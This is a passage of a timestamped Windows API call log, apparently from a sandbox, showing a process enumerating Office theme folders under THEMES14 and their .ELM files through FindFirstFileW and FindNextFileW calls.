	[0093.389] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0093.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.389] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.389] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1
	[0093.389] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.389] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.389] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0093.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.390] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.390] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1
	[0093.390] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.390] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.390] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1
	[0093.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.390] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.391] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1
	[0093.391] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.391] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.391] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0093.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.391] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.391] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1
	[0093.392] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.392] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.392] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0093.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.392] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.392] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1
	[0093.392] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.393] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.393] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0093.393] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.393] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.393] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.393] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1
	[0093.393] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.393] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.393] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0093.394] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.394] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.394] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1
	[0093.394] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.394] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.394] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0093.394] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.395] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.395] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1
	[0093.395] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.396] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.396] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0093.396] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.396] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.396] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1
	[0093.397] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.397] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.397] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0093.397] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.398] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.398] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.399] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1
	[0093.399] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.399] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
